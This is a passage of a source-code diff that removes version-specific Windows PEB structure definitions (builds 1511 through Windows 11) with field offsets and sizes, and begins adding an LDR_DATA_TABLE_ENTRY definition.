- struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
- ULONGLONG MinimumStackCommit; //0x318
- struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
- LIST_ENTRY FlsListHead; //0x328
- VOID* FlsBitmap; //0x338
- ULONG FlsBitmapBits[4]; //0x340
- ULONG FlsHighIndex; //0x350
- VOID* WerRegistrationData; //0x358
- VOID* WerShipAssertPtr; //0x360
- VOID* pUnused; //0x368
- VOID* pImageHeaderHash; //0x370
- union
- {
- ULONG TracingFlags; //0x378
- struct
- {
- ULONG HeapTracingEnabled : 1; //0x378
- ULONG CritSecTracingEnabled : 1; //0x378
- ULONG LibLoaderTracingEnabled : 1; //0x378
- ULONG SpareTracingBits : 29; //0x378
- };
- };
- UCHAR Padding6[4]; //0x37c
- ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
- ULONGLONG TppWorkerpListLock; //0x388
- LIST_ENTRY TppWorkerpList; //0x390
- VOID* WaitOnAddressHashTable[128]; //0x3a0
-} PEB_1511, * PPEB_1511;
-
-//0x7b0 bytes (sizeof)
-typedef struct _PEB_1709
-{
- UCHAR InheritedAddressSpace; //0x0
- UCHAR ReadImageFileExecOptions; //0x1
- UCHAR BeingDebugged; //0x2
- union
- {
- UCHAR BitField; //0x3
- struct
- {
- UCHAR ImageUsesLargePages : 1; //0x3
- UCHAR IsProtectedProcess : 1; //0x3
- UCHAR IsImageDynamicallyRelocated : 1; //0x3
- UCHAR SkipPatchingUser32Forwarders : 1; //0x3
- UCHAR IsPackagedProcess : 1; //0x3
- UCHAR IsAppContainer : 1; //0x3
- UCHAR IsProtectedProcessLight : 1; //0x3
- UCHAR IsLongPathAwareProcess : 1; //0x3
- };
- };
- UCHAR Padding0[4]; //0x4
- VOID* Mutant; //0x8
- VOID* ImageBaseAddress; //0x10
- PEB_LDR_DATA* Ldr; //0x18
- RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20
- VOID* SubSystemData; //0x28
- VOID* ProcessHeap; //0x30
- RTL_CRITICAL_SECTION* FastPebLock; //0x38
- SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
- VOID* IFEOKey; //0x48
- union
- {
- ULONG CrossProcessFlags; //0x50
- struct
- {
- ULONG ProcessInJob : 1; //0x50
- ULONG ProcessInitializing : 1; //0x50
- ULONG ProcessUsingVEH : 1; //0x50
- ULONG ProcessUsingVCH : 1; //0x50
- ULONG ProcessUsingFTH : 1; //0x50
- ULONG ProcessPreviouslyThrottled : 1; //0x50
- ULONG ProcessCurrentlyThrottled : 1; //0x50
- ULONG ReservedBits0 : 25; //0x50
- };
- };
- UCHAR Padding1[4]; //0x54
- union
- {
- VOID* KernelCallbackTable; //0x58
- VOID* UserSharedInfoPtr; //0x58
- };
- ULONG SystemReserved; //0x60
- ULONG AtlThunkSListPtr32; //0x64
- VOID* ApiSetMap; //0x68
- ULONG TlsExpansionCounter; //0x70
- UCHAR Padding2[4]; //0x74
- VOID* TlsBitmap; //0x78
- ULONG TlsBitmapBits[2]; //0x80
- VOID* ReadOnlySharedMemoryBase; //0x88
- VOID* SharedData; //0x90
- VOID** ReadOnlyStaticServerData; //0x98
- VOID* AnsiCodePageData; //0xa0
- VOID* OemCodePageData; //0xa8
- VOID* UnicodeCaseTableData; //0xb0
- ULONG NumberOfProcessors; //0xb8
- ULONG NtGlobalFlag; //0xbc
- LARGE_INTEGER CriticalSectionTimeout; //0xc0
- ULONGLONG HeapSegmentReserve; //0xc8
- ULONGLONG HeapSegmentCommit; //0xd0
- ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
- ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
- ULONG NumberOfHeaps; //0xe8
- ULONG MaximumNumberOfHeaps; //0xec
- VOID** ProcessHeaps; //0xf0
- VOID* GdiSharedHandleTable; //0xf8
- VOID* ProcessStarterHelper; //0x100
- ULONG GdiDCAttributeList; //0x108
- UCHAR Padding3[4]; //0x10c
- RTL_CRITICAL_SECTION* LoaderLock; //0x110
- ULONG OSMajorVersion; //0x118
- ULONG OSMinorVersion; //0x11c
- USHORT OSBuildNumber; //0x120
- USHORT OSCSDVersion; //0x122
- ULONG OSPlatformId; //0x124
- ULONG ImageSubsystem; //0x128
- ULONG ImageSubsystemMajorVersion; //0x12c
- ULONG ImageSubsystemMinorVersion; //0x130
- UCHAR Padding4[4]; //0x134
- ULONGLONG ActiveProcessAffinityMask; //0x138
- ULONG GdiHandleBuffer[60]; //0x140
- VOID(*PostProcessInitRoutine)(); //0x230
- VOID* TlsExpansionBitmap; //0x238
- ULONG TlsExpansionBitmapBits[32]; //0x240
- ULONG SessionId; //0x2c0
- UCHAR Padding5[4]; //0x2c4
- ULARGE_INTEGER AppCompatFlags; //0x2c8
- ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
- VOID* pShimData; //0x2d8
- VOID* AppCompatInfo; //0x2e0
- UNICODE_STRING CSDVersion; //0x2e8
- struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
- struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
- struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
- struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
- ULONGLONG MinimumStackCommit; //0x318
- struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
- LIST_ENTRY FlsListHead; //0x328
- VOID* FlsBitmap; //0x338
- ULONG FlsBitmapBits[4]; //0x340
- ULONG FlsHighIndex; //0x350
- VOID* WerRegistrationData; //0x358
- VOID* WerShipAssertPtr; //0x360
- VOID* pUnused; //0x368
- VOID* pImageHeaderHash; //0x370
- union
- {
- ULONG TracingFlags; //0x378
- struct
- {
- ULONG HeapTracingEnabled : 1; //0x378
- ULONG CritSecTracingEnabled : 1; //0x378
- ULONG LibLoaderTracingEnabled : 1; //0x378
- ULONG SpareTracingBits : 29; //0x378
- };
- };
- UCHAR Padding6[4]; //0x37c
- ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
- ULONGLONG TppWorkerpListLock; //0x388
- LIST_ENTRY TppWorkerpList; //0x390
- VOID* WaitOnAddressHashTable[128]; //0x3a0
- VOID* TelemetryCoverageHeader; //0x7a0
- ULONG CloudFileFlags; //0x7a8
-} PEB_1709, * PPEB_1709;
-
-//0x7b8 bytes (sizeof)
-typedef struct _PEB_1803
-{
- UCHAR InheritedAddressSpace; //0x0
- UCHAR ReadImageFileExecOptions; //0x1
- UCHAR BeingDebugged; //0x2
- union
- {
- UCHAR BitField; //0x3
- struct
- {
- UCHAR ImageUsesLargePages : 1; //0x3
- UCHAR IsProtectedProcess : 1; //0x3
- UCHAR IsImageDynamicallyRelocated : 1; //0x3
- UCHAR SkipPatchingUser32Forwarders : 1; //0x3
- UCHAR IsPackagedProcess : 1; //0x3
- UCHAR IsAppContainer : 1; //0x3
- UCHAR IsProtectedProcessLight : 1; //0x3
- UCHAR IsLongPathAwareProcess : 1; //0x3
- };
- };
- UCHAR Padding0[4]; //0x4
- VOID* Mutant; //0x8
- VOID* ImageBaseAddress; //0x10
- PEB_LDR_DATA* Ldr; //0x18
- RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20
- VOID* SubSystemData; //0x28
- VOID* ProcessHeap; //0x30
- RTL_CRITICAL_SECTION* FastPebLock; //0x38
- SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
- VOID* IFEOKey; //0x48
- union
- {
- ULONG CrossProcessFlags; //0x50
- struct
- {
- ULONG ProcessInJob : 1; //0x50
- ULONG ProcessInitializing : 1; //0x50
- ULONG ProcessUsingVEH : 1; //0x50
- ULONG ProcessUsingVCH : 1; //0x50
- ULONG ProcessUsingFTH : 1; //0x50
- ULONG ProcessPreviouslyThrottled : 1; //0x50
- ULONG ProcessCurrentlyThrottled : 1; //0x50
- ULONG ReservedBits0 : 25; //0x50
- };
- };
- UCHAR Padding1[4]; //0x54
- union
- {
- VOID* KernelCallbackTable; //0x58
- VOID* UserSharedInfoPtr; //0x58
- };
- ULONG SystemReserved; //0x60
- ULONG AtlThunkSListPtr32; //0x64
- VOID* ApiSetMap; //0x68
- ULONG TlsExpansionCounter; //0x70
- UCHAR Padding2[4]; //0x74
- VOID* TlsBitmap; //0x78
- ULONG TlsBitmapBits[2]; //0x80
- VOID* ReadOnlySharedMemoryBase; //0x88
- VOID* SharedData; //0x90
- VOID** ReadOnlyStaticServerData; //0x98
- VOID* AnsiCodePageData; //0xa0
- VOID* OemCodePageData; //0xa8
- VOID* UnicodeCaseTableData; //0xb0
- ULONG NumberOfProcessors; //0xb8
- ULONG NtGlobalFlag; //0xbc
- LARGE_INTEGER CriticalSectionTimeout; //0xc0
- ULONGLONG HeapSegmentReserve; //0xc8
- ULONGLONG HeapSegmentCommit; //0xd0
- ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
- ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
- ULONG NumberOfHeaps; //0xe8
- ULONG MaximumNumberOfHeaps; //0xec
- VOID** ProcessHeaps; //0xf0
- VOID* GdiSharedHandleTable; //0xf8
- VOID* ProcessStarterHelper; //0x100
- ULONG GdiDCAttributeList; //0x108
- UCHAR Padding3[4]; //0x10c
- RTL_CRITICAL_SECTION* LoaderLock; //0x110
- ULONG OSMajorVersion; //0x118
- ULONG OSMinorVersion; //0x11c
- USHORT OSBuildNumber; //0x120
- USHORT OSCSDVersion; //0x122
- ULONG OSPlatformId; //0x124
- ULONG ImageSubsystem; //0x128
- ULONG ImageSubsystemMajorVersion; //0x12c
- ULONG ImageSubsystemMinorVersion; //0x130
- UCHAR Padding4[4]; //0x134
- ULONGLONG ActiveProcessAffinityMask; //0x138
- ULONG GdiHandleBuffer[60]; //0x140
- VOID(*PostProcessInitRoutine)(); //0x230
- VOID* TlsExpansionBitmap; //0x238
- ULONG TlsExpansionBitmapBits[32]; //0x240
- ULONG SessionId; //0x2c0
- UCHAR Padding5[4]; //0x2c4
- ULARGE_INTEGER AppCompatFlags; //0x2c8
- ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
- VOID* pShimData; //0x2d8
- VOID* AppCompatInfo; //0x2e0
- UNICODE_STRING CSDVersion; //0x2e8
- struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
- struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
- struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
- struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
- ULONGLONG MinimumStackCommit; //0x318
- struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
- LIST_ENTRY FlsListHead; //0x328
- VOID* FlsBitmap; //0x338
- ULONG FlsBitmapBits[4]; //0x340
- ULONG FlsHighIndex; //0x350
- VOID* WerRegistrationData; //0x358
- VOID* WerShipAssertPtr; //0x360
- VOID* pUnused; //0x368
- VOID* pImageHeaderHash; //0x370
- union
- {
- ULONG TracingFlags; //0x378
- struct
- {
- ULONG HeapTracingEnabled : 1; //0x378
- ULONG CritSecTracingEnabled : 1; //0x378
- ULONG LibLoaderTracingEnabled : 1; //0x378
- ULONG SpareTracingBits : 29; //0x378
- };
- };
- UCHAR Padding6[4]; //0x37c
- ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
- ULONGLONG TppWorkerpListLock; //0x388
- LIST_ENTRY TppWorkerpList; //0x390
- VOID* WaitOnAddressHashTable[128]; //0x3a0
- VOID* TelemetryCoverageHeader; //0x7a0
- ULONG CloudFileFlags; //0x7a8
- ULONG CloudFileDiagFlags; //0x7ac
- CHAR PlaceholderCompatibilityMode; //0x7b0
- CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
-} PEB_1803, * PPEB_1803;
-
-//0x7c8 bytes (sizeof)
-typedef struct _PEB_1809
-{
- UCHAR InheritedAddressSpace; //0x0
- UCHAR ReadImageFileExecOptions; //0x1
- UCHAR BeingDebugged; //0x2
- union
- {
- UCHAR BitField; //0x3
- struct
- {
- UCHAR ImageUsesLargePages : 1; //0x3
- UCHAR IsProtectedProcess : 1; //0x3
- UCHAR IsImageDynamicallyRelocated : 1; //0x3
- UCHAR SkipPatchingUser32Forwarders : 1; //0x3
- UCHAR IsPackagedProcess : 1; //0x3
- UCHAR IsAppContainer : 1; //0x3
- UCHAR IsProtectedProcessLight : 1; //0x3
- UCHAR IsLongPathAwareProcess : 1; //0x3
- };
- };
- UCHAR Padding0[4]; //0x4
- VOID* Mutant; //0x8
- VOID* ImageBaseAddress; //0x10
- PEB_LDR_DATA* Ldr; //0x18
- RTL_USER_PROCESS_PARAMETERS_1809* ProcessParameters; //0x20
- VOID* SubSystemData; //0x28
- VOID* ProcessHeap; //0x30
- RTL_CRITICAL_SECTION* FastPebLock; //0x38
- SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
- VOID* IFEOKey; //0x48
- union
- {
- ULONG CrossProcessFlags; //0x50
- struct
- {
- ULONG ProcessInJob : 1; //0x50
- ULONG ProcessInitializing : 1; //0x50
- ULONG ProcessUsingVEH : 1; //0x50
- ULONG ProcessUsingVCH : 1; //0x50
- ULONG ProcessUsingFTH : 1; //0x50
- ULONG ProcessPreviouslyThrottled : 1; //0x50
- ULONG ProcessCurrentlyThrottled : 1; //0x50
- ULONG ProcessImagesHotPatched : 1; //0x50
- ULONG ReservedBits0 : 24; //0x50
- };
- };
- UCHAR Padding1[4]; //0x54
- union
- {
- VOID* KernelCallbackTable; //0x58
- VOID* UserSharedInfoPtr; //0x58
- };
- ULONG SystemReserved; //0x60
- ULONG AtlThunkSListPtr32; //0x64
- VOID* ApiSetMap; //0x68
- ULONG TlsExpansionCounter; //0x70
- UCHAR Padding2[4]; //0x74
- VOID* TlsBitmap; //0x78
- ULONG TlsBitmapBits[2]; //0x80
- VOID* ReadOnlySharedMemoryBase; //0x88
- VOID* SharedData; //0x90
- VOID** ReadOnlyStaticServerData; //0x98
- VOID* AnsiCodePageData; //0xa0
- VOID* OemCodePageData; //0xa8
- VOID* UnicodeCaseTableData; //0xb0
- ULONG NumberOfProcessors; //0xb8
- ULONG NtGlobalFlag; //0xbc
- LARGE_INTEGER CriticalSectionTimeout; //0xc0
- ULONGLONG HeapSegmentReserve; //0xc8
- ULONGLONG HeapSegmentCommit; //0xd0
- ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
- ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
- ULONG NumberOfHeaps; //0xe8
- ULONG MaximumNumberOfHeaps; //0xec
- VOID** ProcessHeaps; //0xf0
- VOID* GdiSharedHandleTable; //0xf8
- VOID* ProcessStarterHelper; //0x100
- ULONG GdiDCAttributeList; //0x108
- UCHAR Padding3[4]; //0x10c
- RTL_CRITICAL_SECTION* LoaderLock; //0x110
- ULONG OSMajorVersion; //0x118
- ULONG OSMinorVersion; //0x11c
- USHORT OSBuildNumber; //0x120
- USHORT OSCSDVersion; //0x122
- ULONG OSPlatformId; //0x124
- ULONG ImageSubsystem; //0x128
- ULONG ImageSubsystemMajorVersion; //0x12c
- ULONG ImageSubsystemMinorVersion; //0x130
- UCHAR Padding4[4]; //0x134
- ULONGLONG ActiveProcessAffinityMask; //0x138
- ULONG GdiHandleBuffer[60]; //0x140
- VOID(*PostProcessInitRoutine)(); //0x230
- VOID* TlsExpansionBitmap; //0x238
- ULONG TlsExpansionBitmapBits[32]; //0x240
- ULONG SessionId; //0x2c0
- UCHAR Padding5[4]; //0x2c4
- ULARGE_INTEGER AppCompatFlags; //0x2c8
- ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
- VOID* pShimData; //0x2d8
- VOID* AppCompatInfo; //0x2e0
- UNICODE_STRING CSDVersion; //0x2e8
- struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
- struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
- struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
- struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
- ULONGLONG MinimumStackCommit; //0x318
- struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
- LIST_ENTRY FlsListHead; //0x328
- VOID* FlsBitmap; //0x338
- ULONG FlsBitmapBits[4]; //0x340
- ULONG FlsHighIndex; //0x350
- VOID* WerRegistrationData; //0x358
- VOID* WerShipAssertPtr; //0x360
- VOID* pUnused; //0x368
- VOID* pImageHeaderHash; //0x370
- union
- {
- ULONG TracingFlags; //0x378
- struct
- {
- ULONG HeapTracingEnabled : 1; //0x378
- ULONG CritSecTracingEnabled : 1; //0x378
- ULONG LibLoaderTracingEnabled : 1; //0x378
- ULONG SpareTracingBits : 29; //0x378
- };
- };
- UCHAR Padding6[4]; //0x37c
- ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
- ULONGLONG TppWorkerpListLock; //0x388
- LIST_ENTRY TppWorkerpList; //0x390
- VOID* WaitOnAddressHashTable[128]; //0x3a0
- VOID* TelemetryCoverageHeader; //0x7a0
- ULONG CloudFileFlags; //0x7a8
- ULONG CloudFileDiagFlags; //0x7ac
- CHAR PlaceholderCompatibilityMode; //0x7b0
- CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
- LEAP_SECOND_DATA* LeapSecondData; //0x7b8
- union
- {
- ULONG LeapSecondFlags; //0x7c0
- struct
- {
- ULONG SixtySecondEnabled : 1; //0x7c0
- ULONG Reserved : 31; //0x7c0
- };
- };
- ULONG NtGlobalFlag2; //0x7c4
-} PEB_1809, * PPEB_1809;
-
-//0x7c8 bytes (sizeof)
-typedef struct _PEB_1903
-{
- UCHAR InheritedAddressSpace; //0x0
- UCHAR ReadImageFileExecOptions; //0x1
- UCHAR BeingDebugged; //0x2
- union
- {
- UCHAR BitField; //0x3
- struct
- {
- UCHAR ImageUsesLargePages : 1; //0x3
- UCHAR IsProtectedProcess : 1; //0x3
- UCHAR IsImageDynamicallyRelocated : 1; //0x3
- UCHAR SkipPatchingUser32Forwarders : 1; //0x3
- UCHAR IsPackagedProcess : 1; //0x3
- UCHAR IsAppContainer : 1; //0x3
- UCHAR IsProtectedProcessLight : 1; //0x3
- UCHAR IsLongPathAwareProcess : 1; //0x3
- };
- };
- UCHAR Padding0[4]; //0x4
- VOID* Mutant; //0x8
- VOID* ImageBaseAddress; //0x10
- PEB_LDR_DATA* Ldr; //0x18
- RTL_USER_PROCESS_PARAMETERS_1903* ProcessParameters; //0x20
- VOID* SubSystemData; //0x28
- VOID* ProcessHeap; //0x30
- RTL_CRITICAL_SECTION* FastPebLock; //0x38
- SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
- VOID* IFEOKey; //0x48
- union
- {
- ULONG CrossProcessFlags; //0x50
- struct
- {
- ULONG ProcessInJob : 1; //0x50
- ULONG ProcessInitializing : 1; //0x50
- ULONG ProcessUsingVEH : 1; //0x50
- ULONG ProcessUsingVCH : 1; //0x50
- ULONG ProcessUsingFTH : 1; //0x50
- ULONG ProcessPreviouslyThrottled : 1; //0x50
- ULONG ProcessCurrentlyThrottled : 1; //0x50
- ULONG ProcessImagesHotPatched : 1; //0x50
- ULONG ReservedBits0 : 24; //0x50
- };
- };
- UCHAR Padding1[4]; //0x54
- union
- {
- VOID* KernelCallbackTable; //0x58
- VOID* UserSharedInfoPtr; //0x58
- };
- ULONG SystemReserved; //0x60
- ULONG AtlThunkSListPtr32; //0x64
- VOID* ApiSetMap; //0x68
- ULONG TlsExpansionCounter; //0x70
- UCHAR Padding2[4]; //0x74
- VOID* TlsBitmap; //0x78
- ULONG TlsBitmapBits[2]; //0x80
- VOID* ReadOnlySharedMemoryBase; //0x88
- VOID* SharedData; //0x90
- VOID** ReadOnlyStaticServerData; //0x98
- VOID* AnsiCodePageData; //0xa0
- VOID* OemCodePageData; //0xa8
- VOID* UnicodeCaseTableData; //0xb0
- ULONG NumberOfProcessors; //0xb8
- ULONG NtGlobalFlag; //0xbc
- LARGE_INTEGER CriticalSectionTimeout; //0xc0
- ULONGLONG HeapSegmentReserve; //0xc8
- ULONGLONG HeapSegmentCommit; //0xd0
- ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
- ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
- ULONG NumberOfHeaps; //0xe8
- ULONG MaximumNumberOfHeaps; //0xec
- VOID** ProcessHeaps; //0xf0
- VOID* GdiSharedHandleTable; //0xf8
- VOID* ProcessStarterHelper; //0x100
- ULONG GdiDCAttributeList; //0x108
- UCHAR Padding3[4]; //0x10c
- RTL_CRITICAL_SECTION* LoaderLock; //0x110
- ULONG OSMajorVersion; //0x118
- ULONG OSMinorVersion; //0x11c
- USHORT OSBuildNumber; //0x120
- USHORT OSCSDVersion; //0x122
- ULONG OSPlatformId; //0x124
- ULONG ImageSubsystem; //0x128
- ULONG ImageSubsystemMajorVersion; //0x12c
- ULONG ImageSubsystemMinorVersion; //0x130
- UCHAR Padding4[4]; //0x134
- ULONGLONG ActiveProcessAffinityMask; //0x138
- ULONG GdiHandleBuffer[60]; //0x140
- VOID(*PostProcessInitRoutine)(); //0x230
- VOID* TlsExpansionBitmap; //0x238
- ULONG TlsExpansionBitmapBits[32]; //0x240
- ULONG SessionId; //0x2c0
- UCHAR Padding5[4]; //0x2c4
- ULARGE_INTEGER AppCompatFlags; //0x2c8
- ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
- VOID* pShimData; //0x2d8
- VOID* AppCompatInfo; //0x2e0
- UNICODE_STRING CSDVersion; //0x2e8
- struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
- struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
- struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
- struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
- ULONGLONG MinimumStackCommit; //0x318
- struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
- LIST_ENTRY FlsListHead; //0x328
- VOID* FlsBitmap; //0x338
- ULONG FlsBitmapBits[4]; //0x340
- ULONG FlsHighIndex; //0x350
- VOID* WerRegistrationData; //0x358
- VOID* WerShipAssertPtr; //0x360
- VOID* pUnused; //0x368
- VOID* pImageHeaderHash; //0x370
- union
- {
- ULONG TracingFlags; //0x378
- struct
- {
- ULONG HeapTracingEnabled : 1; //0x378
- ULONG CritSecTracingEnabled : 1; //0x378
- ULONG LibLoaderTracingEnabled : 1; //0x378
- ULONG SpareTracingBits : 29; //0x378
- };
- };
- UCHAR Padding6[4]; //0x37c
- ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
- ULONGLONG TppWorkerpListLock; //0x388
- LIST_ENTRY TppWorkerpList; //0x390
- VOID* WaitOnAddressHashTable[128]; //0x3a0
- VOID* TelemetryCoverageHeader; //0x7a0
- ULONG CloudFileFlags; //0x7a8
- ULONG CloudFileDiagFlags; //0x7ac
- CHAR PlaceholderCompatibilityMode; //0x7b0
- CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
- LEAP_SECOND_DATA* LeapSecondData; //0x7b8
- union
- {
- ULONG LeapSecondFlags; //0x7c0
- struct
- {
- ULONG SixtySecondEnabled : 1; //0x7c0
- ULONG Reserved : 31; //0x7c0
- };
- };
- ULONG NtGlobalFlag2; //0x7c4
-} PEB_1903, * PPEB_1903;
-
-//0x7d0 bytes (sizeof)
-typedef struct _PEB_WIN11
-{
- UCHAR InheritedAddressSpace; //0x0
- UCHAR ReadImageFileExecOptions; //0x1
- UCHAR BeingDebugged; //0x2
- union
- {
- UCHAR BitField; //0x3
- struct
- {
- UCHAR ImageUsesLargePages : 1; //0x3
- UCHAR IsProtectedProcess : 1; //0x3
- UCHAR IsImageDynamicallyRelocated : 1; //0x3
- UCHAR SkipPatchingUser32Forwarders : 1; //0x3
- UCHAR IsPackagedProcess : 1; //0x3
- UCHAR IsAppContainer : 1; //0x3
- UCHAR IsProtectedProcessLight : 1; //0x3
- UCHAR IsLongPathAwareProcess : 1; //0x3
- };
- };
- UCHAR Padding0[4]; //0x4
- VOID* Mutant; //0x8
- VOID* ImageBaseAddress; //0x10
- PEB_LDR_DATA* Ldr; //0x18
- RTL_USER_PROCESS_PARAMETERS_1903* ProcessParameters; //0x20
- VOID* SubSystemData; //0x28
- VOID* ProcessHeap; //0x30
- RTL_CRITICAL_SECTION* FastPebLock; //0x38
- SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
- VOID* IFEOKey; //0x48
- union
- {
- ULONG CrossProcessFlags; //0x50
- struct
- {
- ULONG ProcessInJob : 1; //0x50
- ULONG ProcessInitializing : 1; //0x50
- ULONG ProcessUsingVEH : 1; //0x50
- ULONG ProcessUsingVCH : 1; //0x50
- ULONG ProcessUsingFTH : 1; //0x50
- ULONG ProcessPreviouslyThrottled : 1; //0x50
- ULONG ProcessCurrentlyThrottled : 1; //0x50
- ULONG ProcessImagesHotPatched : 1; //0x50
- ULONG ReservedBits0 : 24; //0x50
- };
- };
- UCHAR Padding1[4]; //0x54
- union
- {
- VOID* KernelCallbackTable; //0x58
- VOID* UserSharedInfoPtr; //0x58
- };
- ULONG SystemReserved; //0x60
- ULONG AtlThunkSListPtr32; //0x64
- VOID* ApiSetMap; //0x68
- ULONG TlsExpansionCounter; //0x70
- UCHAR Padding2[4]; //0x74
- RTL_BITMAP* TlsBitmap; //0x78
- ULONG TlsBitmapBits[2]; //0x80
- VOID* ReadOnlySharedMemoryBase; //0x88
- VOID* SharedData; //0x90
- VOID** ReadOnlyStaticServerData; //0x98
- VOID* AnsiCodePageData; //0xa0
- VOID* OemCodePageData; //0xa8
- VOID* UnicodeCaseTableData; //0xb0
- ULONG NumberOfProcessors; //0xb8
- ULONG NtGlobalFlag; //0xbc
- LARGE_INTEGER CriticalSectionTimeout; //0xc0
- ULONGLONG HeapSegmentReserve; //0xc8
- ULONGLONG HeapSegmentCommit; //0xd0
- ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
- ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
- ULONG NumberOfHeaps; //0xe8
- ULONG MaximumNumberOfHeaps; //0xec
- VOID** ProcessHeaps; //0xf0
- VOID* GdiSharedHandleTable; //0xf8
- VOID* ProcessStarterHelper; //0x100
- ULONG GdiDCAttributeList; //0x108
- UCHAR Padding3[4]; //0x10c
- RTL_CRITICAL_SECTION* LoaderLock; //0x110
- ULONG OSMajorVersion; //0x118
- ULONG OSMinorVersion; //0x11c
- USHORT OSBuildNumber; //0x120
- USHORT OSCSDVersion; //0x122
- ULONG OSPlatformId; //0x124
- ULONG ImageSubsystem; //0x128
- ULONG ImageSubsystemMajorVersion; //0x12c
- ULONG ImageSubsystemMinorVersion; //0x130
- UCHAR Padding4[4]; //0x134
- ULONGLONG ActiveProcessAffinityMask; //0x138
- ULONG GdiHandleBuffer[60]; //0x140
- VOID(*PostProcessInitRoutine)(); //0x230
- RTL_BITMAP* TlsExpansionBitmap; //0x238
- ULONG TlsExpansionBitmapBits[32]; //0x240
- ULONG SessionId; //0x2c0
- UCHAR Padding5[4]; //0x2c4
- ULARGE_INTEGER AppCompatFlags; //0x2c8
- ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
- VOID* pShimData; //0x2d8
- VOID* AppCompatInfo; //0x2e0
- UNICODE_STRING CSDVersion; //0x2e8
- struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
- struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
- struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
- struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
- ULONGLONG MinimumStackCommit; //0x318
- VOID* SparePointers[2]; //0x320
- VOID* PatchLoaderData; //0x330
- struct _CHPEV2_PROCESS_INFO* ChpeV2ProcessInfo; //0x338
- ULONG SpareUlongs[3]; //0x340
- USHORT ActiveCodePage; //0x34c
- USHORT OemCodePage; //0x34e
- USHORT UseCaseMapping; //0x350
- USHORT UnusedNlsField; //0x352
- VOID* WerRegistrationData; //0x358
- VOID* WerShipAssertPtr; //0x360
- VOID* EcCodeBitMap; //0x368
- VOID* pImageHeaderHash; //0x370
- union
- {
- ULONG TracingFlags; //0x378
- struct
- {
- ULONG HeapTracingEnabled : 1; //0x378
- ULONG CritSecTracingEnabled : 1; //0x378
- ULONG LibLoaderTracingEnabled : 1; //0x378
- ULONG SpareTracingBits : 29; //0x378
- };
- };
- UCHAR Padding6[4]; //0x37c
- ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
- ULONGLONG TppWorkerpListLock; //0x388
- LIST_ENTRY TppWorkerpList; //0x390
- VOID* WaitOnAddressHashTable[128]; //0x3a0
- VOID* TelemetryCoverageHeader; //0x7a0
- ULONG CloudFileFlags; //0x7a8
- ULONG CloudFileDiagFlags; //0x7ac
- CHAR PlaceholderCompatibilityMode; //0x7b0
- CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
- LEAP_SECOND_DATA* LeapSecondData; //0x7b8
- union
- {
- ULONG LeapSecondFlags; //0x7c0
- struct
- {
- ULONG SixtySecondEnabled : 1; //0x7c0
- ULONG Reserved : 31; //0x7c0
- };
- };
- ULONG NtGlobalFlag2; //0x7c4
- ULONGLONG ExtendedFeatureDisableMask; //0x7c8
-} PEB_WIN11, * PPEB_WIN11;
+typedef struct _LDR_DATA_TABLE_ENTRY {
+ LIST_ENTRY InLoadOrderLinks;
+ LIST_ENTRY InMemoryOrderLinks;
+ PVOID Reserved2[2];
+ PVOID DllBase;
+ PVOID EntryPoint;
+ PVOID Reserved3;
